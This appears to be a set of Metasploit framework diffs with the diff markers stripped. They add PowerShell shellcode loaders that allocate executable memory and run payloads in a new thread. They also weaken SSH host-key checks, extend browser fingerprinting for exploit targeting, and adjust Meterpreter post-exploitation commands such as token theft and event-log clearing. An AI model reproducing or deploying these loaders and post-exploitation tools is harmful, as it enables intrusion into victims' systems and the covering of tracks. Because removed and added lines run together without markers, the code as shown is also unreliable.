elf[0x44,4] = [elf.length + code.length].pack('V')
elf[0x48,4] = [elf.length + code.length].pack('V')
elf << code
# Check EI_CLASS to determine if the header is 32 or 64 bit
# Use the proper offsets and pack size
case elf[4]
when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
elf[0x44,4] = [elf.length].pack('V') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
elf[0x60,8] = [elf.length].pack('Q') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
else
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
end
return elf
end
# Create a 32-bit Linux ELF containing the payload provided in +code+
def self.to_linux_x86_elf(framework, code, opts={})
unless opts[:template]
default = true
end
if default
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
else
# If this isn't our normal template, we have to do some fancy
# header patching to mark the .text section rwx before putting our
@ -684,23 +689,26 @@ require 'digest/sha1'
return elf
end
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
def self.to_bsd_x86_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
return elf
end
# Create a 32-bit Solaris ELF containing the payload provided in +code+
def self.to_solaris_x86_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
return elf
end
# Create a 64-bit Linux ELF containing the payload provided in +code+
def self.to_linux_x64_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_x64_linux.bin", code)
return elf
end
def self.to_linux_armle_elf(framework, code, opts={})
# Allow the user to specify their own template
set_template_default(opts, "template_armle_linux.bin")
elf = ''
File.open(opts[:template], "rb") { |fd|
elf = fd.read(fd.stat.size)
}
# The template is just an ELF header with its entrypoint set to the
# end of the file, so just append shellcode to it and fixup p_filesz
# and p_memsz in the header for a working ELF executable.
elf << code
elf[0x44,4] = [elf.length + code.length].pack('V')
elf[0x48,4] = [elf.length + code.length].pack('V')
elf = to_exe_elf(framework, opts, "template_armle_linux.bin", code)
return elf
end
@ -1070,6 +1078,95 @@ End Sub
source
end
def self.to_win32pe_psh_net(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack('C*')
psh = "Set-StrictMode -Version 2\r\n"
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
psh << "namespace #{var_kernel32} {\r\n"
psh << "public class func {\r\n"
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
psh << "} }\r\n"
psh << "\"@\r\n\r\n"
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
end
def self.to_win32pe_psh(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack("C*")
# Add wrapper script
psh = "$#{var_code} = @\"\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
psh << "\"@\r\n"
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
# Set up the payload string
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_size} = 0x1000\r\n"
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
end
def self.to_win32pe_vbs(framework, code, opts={})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
@ -1816,13 +1913,19 @@ End Sub
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
output = Msf::Util::EXE.to_jsp_war(exe)
when 'psh'
output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
when 'psh-net'
output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
end
output
end
def self.to_executable_fmt_formats
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war']
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
end
#

View File

@ -206,7 +206,7 @@ module Net; module SSH; module Transport
algorithms[:compression_client] = algorithms[:compression_server] = algorithms[:compression]
algorithms[:language_client ] = algorithms[:language_server ] = algorithms[:language]
if !options.key?(:host_key)
if !options.key?(:host_key) and options[:config]
# make sure the host keys are specified in preference order, where any
# existing known key for the host has preference.

View File

@ -13,8 +13,10 @@ module Net; module SSH; module Verifiers
def verify(arguments)
options = arguments[:session].options
host = options[:host_key_alias] || arguments[:session].host_as_string
matches = Net::SSH::KnownHosts.search_for(host, arguments[:session].options)
matches = []
if options[:config]
matches = Net::SSH::KnownHosts.search_for(host, arguments[:session].options)
end
# we've never seen this host before, so just automatically add the key.
# not the most secure option (since the first hit might be the one that
# is hacked), but since almost nobody actually compares the key
@ -22,7 +24,9 @@ module Net; module SSH; module Verifiers
# security.
if matches.empty?
ip = arguments[:session].peer[:ip]
Net::SSH::KnownHosts.add(host, arguments[:key], arguments[:session].options)
if options[:config]
Net::SSH::KnownHosts.add(host, arguments[:key], arguments[:session].options)
end
return true
end
@ -43,8 +47,10 @@ module Net; module SSH; module Verifiers
def process_cache_miss(host, args)
exception = HostKeyMismatch.new("fingerprint #{args[:fingerprint]} does not match for #{host.inspect}")
exception.data = args
exception.callback = Proc.new do
Net::SSH::KnownHosts.add(host, args[:key], args[:session].options)
if options[:config]
exception.callback = Proc.new do
Net::SSH::KnownHosts.add(host, args[:key], args[:session].options)
end
end
raise exception
end

View File

@ -43,6 +43,7 @@ window.os_detect.getVersion = function(){
var ua_is_lying = false;
var version = "";
var unknown_fingerprint = null;
//--
// Client
@ -83,6 +84,7 @@ window.os_detect.getVersion = function(){
case "10108": // "Opera_952_10108_en.exe"
case "10467": // "Opera_962_en_Setup.exe"
case "10476": // Opera 9.63 / Windows XP
case "WMD-50433": // Windows Mobile - "Mozilla/5.0 (Windows Mobile; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00"
os_name = oses_windows;
break;
case "2480": // Opera 9.64 / FreeBSD 7.0
@ -116,9 +118,9 @@ window.os_detect.getVersion = function(){
// Opera 11.61 / Windows XP
// Opera 11.61 / Debian 4.0 (Etch)
break;
//default:
// document.write(opera.buildNumber('inconspicuous'));
// break;
default:
unknown_fingerprint = opera.buildNumber('inconspicuous');
break;
}
}
} else if (typeof window.onmousewheel != 'undefined') {
@ -187,7 +189,25 @@ window.os_detect.getVersion = function(){
// future. This works for multi/browser/mozilla_compareto against
// Firefox and Mozilla, so it's probably good enough for now.
ua_name = clients_ff;
if (document.readyState) {
// Thanks to developer.mozilla.org "Firefox for developers" series for most
// of these.
if ('mozConnection' in navigator) {
ua_version = "12.0";
} else if ('mozVibrate' in navigator) {
ua_version = "11.0";
} else if ('mozCancelFullScreen' in document) {
ua_version = "9.0";
} else if ('insertAdjacentHTML' in document.body) {
ua_version = "8.0";
} else if ('ondeviceorientation' in window && !('createEntityReference' in document)) {
ua_version = "7.0";
} else if ('MozBlobBuilder' in window) {
ua_version = "6.0";
} else if ('isGenerator' in Function) {
ua_version = "5.0";
} else if ('isArray' in Array) {
ua_version = "4.0";
} else if (document.readyState) {
ua_version = "3.6";
} else if (String.trimRight) {
ua_version = "3.5";
@ -598,6 +618,8 @@ window.os_detect.getVersion = function(){
}
break;
case "20120314195616": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 12.0 / Debian 4.0 (Etch)
case "20120423142301": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
case "20120424151700": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Fedora"; break;
default:
version = this.searchVersion("Firefox", navigator.userAgent);
// Verify whether the ua string is lying by checking if it contains
@ -753,10 +775,17 @@ window.os_detect.getVersion = function(){
os_flavor = "7";
os_sp = "SP1";
break;
case "9016443":
// IE 9.0.8112.16421, Windows 7 Polish
// Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
ua_version = "9.0";
os_flavor = "7";
os_sp = "SP1";
break;
//default:
// alert(version);
// break;
default:
unknown_fingerprint = version;
break;
}
if (!ua_version) {

View File

@ -75,14 +75,6 @@ module Rex
when "port"
collect_port_data
@state[:port] = {}
when "script"
if in_tag("host")
if in_tag("port")
@state[:portscripts] = {}
else
@state[:hostscripts] = {}
end
end
when "host" # Roll everything up now
collect_host_data
host_object = report_host &block
@ -146,28 +138,28 @@ module Rex
@state[:hostname] = attr_hash(attrs)["name"]
end
end
def record_host_script(attrs)
return unless in_tag("host")
return if in_tag("port")
temp_hash = attr_hash(attrs)
@state[:hostscripts] ||= {}
@state[:hostscripts].merge! temp_hash
temp_hash[:addresses] = @state[:addresses]
db.emit(:host_script,temp_hash,&block) if block
if temp_hash["id"] and temp_hash["output"]
@state[:scripts] ||= []
@state[:scripts] << { temp_hash["id"] => temp_hash["output"] }
end
end
def record_port_script(attrs)
return unless in_tag("host")
return unless in_tag("port")
temp_hash = attr_hash(attrs)
@state[:portscripts] ||= {}
@state[:portscripts].merge! temp_hash
temp_hash[:addresses] = @state[:addresses]
temp_hash[:port] = @state[:port]
db.emit(:port_script,temp_hash,&block) if block
if temp_hash["id"] and temp_hash["output"]
@state[:port][:scripts] ||= []
@state[:port][:scripts] << { temp_hash["id"] => temp_hash["output"] }
end
end
def record_port_service(attrs)
return unless in_tag("host")
return unless in_tag("port")
@ -258,6 +250,9 @@ module Rex
if @state[:trace] and @state[:trace].has_key?(:hops)
@report_data[:traceroute] = @state[:trace]
end
if @state[:scripts]
@report_data[:scripts] = @state[:scripts]
end
end
def collect_port_data
@ -288,6 +283,8 @@ module Rex
extra[1] = v
when "extrainfo"
extra[2] = v
when :scripts
port_hash[:scripts] = v
end
end
port_hash[:info] = extra.compact.join(" ") unless extra.empty?
@ -339,9 +336,24 @@ module Rex
def report_host(&block)
if host_is_okay
host_object = db_report(:host, @report_data.merge(
:workspace => @args[:wspace] ) )
scripts = @report_data.delete(:scripts) || []
host_object = db_report(:host, @report_data.merge( :workspace => @args[:wspace] ) )
db.emit(:address,@report_data[:host],&block) if block
scripts.each do |script|
script.each_pair do |k,v|
ntype =
nse_note = {
:workspace => host_object.workspace,
:host => host_object,
:type => "nmap.nse.#{k}.host",
:data => { 'output' => v },
:update => :unique_data
}
db_report(:note, nse_note)
end
end
host_object
end
end
@ -352,7 +364,23 @@ module Rex
return if @report_data[:ports].empty?
reported = []
@report_data[:ports].each do |svc|
reported << db_report(:service, svc.merge(:host => host_object))
scripts = svc.delete(:scripts) || []
svc_obj = db_report(:service, svc.merge(:host => host_object))
scripts.each do |script|
script.each_pair do |k,v|
ntype =
nse_note = {
:workspace => host_object.workspace,
:host => host_object,
:service => svc_obj,
:type => "nmap.nse.#{k}." + (svc[:proto] || "tcp") +".#{svc[:port]}",
:data => { 'output' => v },
:update => :unique_data
}
db_report(:note, nse_note)
end
end
reported << svc_obj
end
reported
end

View File

@ -104,6 +104,7 @@ class Client
self.alive = true
self.target_id = opts[:target_id]
self.capabilities = opts[:capabilities] || {}
self.commands = []
self.conn_id = opts[:conn_id]
@ -281,6 +282,7 @@ class Client
# if a matching extension alias exists for the supplied symbol.
#
def method_missing(symbol, *args)
#$stdout.puts("method_missing: #{symbol}")
self.ext_aliases.aliases[symbol.to_s]
end
@ -294,7 +296,9 @@ class Client
# Loads the client half of the supplied extension and initializes it as a
# registered extension that can be reached through client.ext.[extension].
#
def add_extension(name)
def add_extension(name, commands=[])
self.commands |= commands
# Check to see if this extension has already been loaded.
if ((klass = self.class.check_ext_hash(name.downcase)) == nil)
old = Rex::Post::Meterpreter::Extensions.constants
@ -341,6 +345,18 @@ class Client
#
def register_extension_alias(name, ext)
self.ext_aliases.aliases[name] = ext
# Whee! Syntactic sugar, where art thou?
#
# Create an instance method on this object called +name+ that returns
# +ext+. We have to do it this way instead of simply
# self.class.class_eval so that other meterpreter sessions don't get
# extension methods when this one does
(class << self; self; end).class_eval do
define_method(name.to_sym) do
ext
end
end
ext
end
#
@ -445,10 +461,15 @@ class Client
# Flag indicating whether to hex-encode UTF-8 file names and other strings
#
attr_accessor :encode_unicode
#
# A list of the commands
#
attr_reader :commands
protected
attr_accessor :parser, :ext_aliases # :nodoc:
attr_writer :ext, :sock # :nodoc:
attr_writer :commands # :nodoc:
end
end; end; end

View File

@ -121,7 +121,12 @@ class ClientCore < Extension
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
end
return true
commands = []
response.each(TLV_TYPE_METHOD) { |c|
commands << c.value
}
return commands
end
#
@ -150,13 +155,12 @@ class ClientCore < Extension
path = ::File.expand_path(path)
# Load the extension DLL
if (load_library(
commands = load_library(
'LibraryFilePath' => path,
'UploadLibrary' => true,
'Extension' => true,
'SaveToDisk' => opts['LoadFromDisk']))
client.add_extension(mod)
end
'SaveToDisk' => opts['LoadFromDisk'])
client.add_extension(mod, commands)
return true
end

View File

@ -22,7 +22,7 @@ class Sniffer < Extension
client.register_extension_aliases(
[
{
{
'name' => 'sniffer',
'ext' => self
},
@ -42,19 +42,19 @@ class Sniffer < Extension
ikeys = %W{idx name description type mtu wireless usable dhcp}
ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }
ifaces << iface
}
}
return ifaces
end
# Start a packet capture on an opened interface
def capture_start(intf,maxp=200000,filter="")
request = Packet.create_request('sniffer_capture_start')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)
request.add_tlv(TLV_TYPE_SNIFFER_ADDITIONAL_FILTER, filter) if filter.length > 0
response = client.send_request(request)
response = client.send_request(request)
end
# Stop an active packet capture
def capture_stop(intf)
request = Packet.create_request('sniffer_capture_stop')
@ -65,7 +65,7 @@ class Sniffer < Extension
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
}
end
# Retrieve stats about a current capture
def capture_stats(intf)
request = Packet.create_request('sniffer_capture_stats')
@ -87,7 +87,7 @@ class Sniffer < Extension
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
}
end
# Buffer the current capture to a readable buffer
def capture_dump(intf)
request = Packet.create_request('sniffer_capture_dump')
@ -96,21 +96,22 @@ class Sniffer < Extension
{
:packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
:linktype => response.get_tlv_value(TLV_TYPE_SNIFFER_INTERFACE_ID),
}
end
# Retrieve the packet data for the specified capture
def capture_dump_read(intf, len=16384)
request = Packet.create_request('sniffer_capture_dump_read')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
response = client.send_request(request, 3600)
{
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
:data => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET)
}
end
end
end; end; end; end; end

View File

@ -212,12 +212,12 @@ class Process < Rex::Post::Process
end
#
# Returns an array of processes with hash objects that have
# keys for 'pid', 'parentid', 'name', 'path', 'user' and 'arch'.
# Returns a ProcessList of processes as Hash objects with keys for 'pid',
# 'ppid', 'name', 'path', 'user', 'session' and 'arch'.
#
def Process.get_processes
request = Packet.create_request('stdapi_sys_process_get_processes')
processes = []
processes = ProcessList.new
response = client.send_request(request)
@ -236,7 +236,7 @@ class Process < Rex::Post::Process
processes <<
{
'pid' => p.get_tlv_value(TLV_TYPE_PID),
'parentid' => p.get_tlv_value(TLV_TYPE_PARENT_PID),
'ppid' => p.get_tlv_value(TLV_TYPE_PARENT_PID),
'name' => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_NAME) ),
'path' => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_PATH) ),
'session' => p.get_tlv_value(TLV_TYPE_PROCESS_SESSION),
@ -366,5 +366,43 @@ protected
end
#
# Simple wrapper class for storing processes
#
class ProcessList < Array
#
# Create a Rex::Ui::Text::Table out of the processes stored in this list
#
# +opts+ is passed on to Rex::Ui::Text::Table.new, mostly unmolested
#
# Note that this output is affected by Rex::Post::Meterpreter::Client#unicode_filter_encode
#
def to_table(opts={})
if empty?
return Rex::Ui::Text::Table.new(opts)
end
cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
# Arch and Session are specific to native Windows, PHP and Java can't do
# ppid. Cut columns from the list if they aren't there. It is conceivable
# that processes might have different columns, but for now assume that the
# first one is representative.
cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? }
opts = {
"Header" => "Process List",
"Columns" => cols
}.merge(opts)
tbl = Rex::Ui::Text::Table.new(opts)
each { |process|
tbl << cols.map {|c| process[c.downcase] }.compact
}
tbl
end
end
end; end; end; end; end; end

View File

@ -43,11 +43,9 @@ class Console::CommandDispatcher::Core
"close" => "Closes a channel",
"channel" => "Displays information about active channels",
"exit" => "Terminate the meterpreter session",
"detach" => "Detach the meterpreter session (for http/https)",
"help" => "Help menu",
"interact" => "Interacts with a channel",
"irb" => "Drop into irb scripting mode",
"migrate" => "Migrate the server to another process",
"use" => "Deprecated alias for 'load'",
"load" => "Load one or more meterpreter extensions",
"quit" => "Terminate the meterpreter session",
@ -61,6 +59,18 @@ class Console::CommandDispatcher::Core
"enable_unicode_encoding" => "Enables encoding of unicode strings",
"disable_unicode_encoding" => "Disables encoding of unicode strings"
}
if client.passive_service
c["detach"] = "Detach the meterpreter session (for http/https)"
end
# The only meterp that implements this right now is native Windows and for
# whatever reason it is not adding core_migrate to its list of commands.
# Use a dumb platform til it gets sorted.
#if client.commands.include? "core_migrate"
if client.platform =~ /win/
c["migrate"] = "Migrate the server to another process"
end
if (msf_loaded?)
c["info"] = "Displays information about a Post module"
end

View File

@ -132,7 +132,7 @@ class Console::CommandDispatcher::Sniffer
bytes_all = res[:bytes] || 0
bytes_got = 0
bytes_pct = 0
linktype = res[:linktype]
while (bytes_all > 0)
res = client.sniffer.capture_dump_read(intf,1024*512)
@ -156,7 +156,7 @@ class Console::CommandDispatcher::Sniffer
fd = ::File.new(path_cap, 'ab+')
else
fd = ::File.new(path_cap, 'wb+')
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, linktype].pack('NnnNNNN'))
end
pkts = {}

View File

@ -34,24 +34,56 @@ class Console::CommandDispatcher::Stdapi::Fs
# List of supported commands.
#
def commands
{
all = {
"cat" => "Read the contents of a file to the screen",
"cd" => "Change directory",
"del" => "Delete the specified file",
"download" => "Download a file or directory",
"edit" => "Edit a file",
"getlwd" => "Print local working directory",
"getwd" => "Print working directory",
"lcd" => "Change local working directory",
"lpwd" => "Print local working directory",
"ls" => "List files",
"mkdir" => "Make directory",
"pwd" => "Print working directory",
"rmdir" => "Remove directory",
"upload" => "Upload a file or directory",
"lcd" => "Change local working directory",
"getlwd" => "Print local working directory",
"lpwd" => "Print local working directory",
"rm" => "Delete the specified file",
"del" => "Delete the specified file",
"search" => "Search for files"
"rmdir" => "Remove directory",
"search" => "Search for files",
"upload" => "Upload a file or directory",
}
reqs = {
"cat" => [ ],
"cd" => [ "stdapi_fs_chdir" ],
"del" => [ "stdapi_fs_rm" ],
"download" => [ ],
"edit" => [ ],
"getlwd" => [ ],
"getwd" => [ "stdapi_fs_getwd" ],
"lcd" => [ ],
"lpwd" => [ ],
"ls" => [ "stdapi_fs_stat", "stdapi_fs_ls" ],
"mkdir" => [ "stdapi_fs_mkdir" ],
"pwd" => [ "stdapi_fs_getwd" ],
"rmdir" => [ "stdapi_fs_delete_dir" ],
"rm" => [ "stdapi_fs_delete_file" ],
"search" => [ "stdapi_fs_search" ],
"upload" => [ ],
}
all.delete_if do |cmd, desc|
del = false
reqs[cmd].each do |req|
next if client.commands.include? req
del = true
break
end
del
end
all
end
#
@ -65,18 +97,18 @@ class Console::CommandDispatcher::Stdapi::Fs
# Search for files.
#
def cmd_search( *args )
root = nil
glob = nil
recurse = true
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner." ],
"-d" => [ true, "The directory/drive to begin searching from. Leave empty to search all drives. (Default: #{root})" ],
"-f" => [ true, "The file pattern glob to search for. (e.g. *secret*.doc?)" ],
"-r" => [ true, "Recursivly search sub directories. (Default: #{recurse})" ]
)
opts.parse(args) { | opt, idx, val |
case opt
when "-h"
@ -92,14 +124,14 @@ class Console::CommandDispatcher::Stdapi::Fs
recurse = false if( val =~ /^(f|n|0)/i )
end
}
if( not glob )
print_error( "You must specify a valid file glob to search for, e.g. >search -f *.doc" )
return
end
files = client.fs.file.search( root, glob, recurse )
if( not files.empty? )
print_line( "Found #{files.length} result#{ files.length > 1 ? 's' : '' }..." )
files.each do | file |
@ -112,9 +144,9 @@ class Console::CommandDispatcher::Stdapi::Fs
else
print_line( "No files matching your search were found." )
end
end
#
# Reads the contents of a file and prints them to the screen.
#
@ -169,7 +201,7 @@ class Console::CommandDispatcher::Stdapi::Fs
return true
end
#
# Delete the specified file.
#
@ -183,7 +215,7 @@ class Console::CommandDispatcher::Stdapi::Fs
return true
end
alias :cmd_del :cmd_rm
def cmd_download_help
@ -192,7 +224,7 @@ class Console::CommandDispatcher::Stdapi::Fs
print_line "Downloads remote files and directories to the local machine."
print_line @@download_opts.usage
end
#
# Downloads a file or directory from the remote machine to the local
# machine.
@ -250,7 +282,7 @@ class Console::CommandDispatcher::Stdapi::Fs
}
end
}
return true
end
@ -454,7 +486,7 @@ class Console::CommandDispatcher::Stdapi::Fs
}
end
}
return true
end

View File

@ -54,12 +54,39 @@ class Console::CommandDispatcher::Stdapi::Net
# List of supported commands.
#
def commands
{
all = {
"ipconfig" => "Display interfaces",
"ifconfig" => "Display interfaces",
"route" => "View and modify the routing table",
"portfwd" => "Forward a local port to a remote service",
}
reqs = {
"ipconfig" => [ "stdapi_net_config_get_interfaces" ],
"ifconfig" => [ "stdapi_net_config_get_interfaces" ],
"route" => [
# Also uses these, but we don't want to be unable to list them
# just because we can't alter them.
#"stdapi_net_config_add_route",
#"stdapi_net_config_remove_route",
"stdapi_net_config_get_routes"
],
# Only creates tcp channels, which is something whose availability
# we can't check directly at the moment.
"portfwd" => [ ],
}
all.delete_if do |cmd, desc|
del = false
reqs[cmd].each do |req|
next if client.commands.include? req
del = true
break
end
del
end
all
end
#

View File

@ -48,23 +48,67 @@ class Console::CommandDispatcher::Stdapi::Sys
# List of supported commands.
#
def commands
{
"clearev" => "Clear the event log",
"execute" => "Execute a command",
"getpid" => "Get the current process identifier",
"getuid" => "Get the user that the server is running as",
"getprivs" => "Attempt to enable all privileges available to the current process",
"kill" => "Terminate a process",
"ps" => "List running processes",
"reboot" => "Reboots the remote computer",
"reg" => "Modify and interact with the remote registry",
"rev2self" => "Calls RevertToSelf() on the remote machine",
"sysinfo" => "Gets information about the remote system, such as OS",
"shell" => "Drop into a system command shell",
"shutdown" => "Shuts down the remote computer",
"steal_token" => "Attempts to steal an impersonation token from the target process",
all = {
"clearev" => "Clear the event log",
"drop_token" => "Relinquishes any active impersonation token.",
"execute" => "Execute a command",
"getpid" => "Get the current process identifier",
"getprivs" => "Attempt to enable all privileges available to the current process",
"getuid" => "Get the user that the server is running as",
"kill" => "Terminate a process",
"ps" => "List running processes",
"reboot" => "Reboots the remote computer",
"reg" => "Modify and interact with the remote registry",
"rev2self" => "Calls RevertToSelf() on the remote machine",
"shell" => "Drop into a system command shell",
"shutdown" => "Shuts down the remote computer",
"steal_token" => "Attempts to steal an impersonation token from the target process",
"sysinfo" => "Gets information about the remote system, such as OS",
}
reqs = {
"clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
"drop_token" => [ "stdapi_sys_config_drop_token" ],
"execute" => [ "stdapi_sys_process_execute" ],
"getpid" => [ "stdapi_sys_process_getpid" ],
"getprivs" => [ "stdapi_sys_config_getprivs" ],
"getuid" => [ "stdapi_sys_config_getuid" ],
"kill" => [ "stdapi_sys_process_kill" ],
"ps" => [ "stdapi_sys_process_get_processes" ],
"reboot" => [ "stdapi_sys_power_exitwindows" ],
"reg" => [
"stdapi_registry_load_key",
"stdapi_registry_unload_key",
"stdapi_registry_open_key",
"stdapi_registry_open_remote_key",
"stdapi_registry_create_key",
"stdapi_registry_delete_key",
"stdapi_registry_close_key",
"stdapi_registry_enum_key",
"stdapi_registry_set_value",
"stdapi_registry_query_value",
"stdapi_registry_delete_value",
"stdapi_registry_query_class",
"stdapi_registry_enum_value",
],
"rev2self" => [ "stdapi_sys_config_rev2self" ],
"shell" => [ "stdapi_sys_process_execute" ],
"shutdown" => [ "stdapi_sys_power_exitwindows" ],
"steal_token" => [ "stdapi_sys_config_steal_token" ],
"sysinfo" => [ "stdapi_sys_config_sysinfo" ],
}
all.delete_if do |cmd, desc|
del = false
reqs[cmd].each do |req|
next if client.commands.include? req
del = true
break
end
del
end
all
end
#
@ -229,38 +273,13 @@ class Console::CommandDispatcher::Stdapi::Sys
#
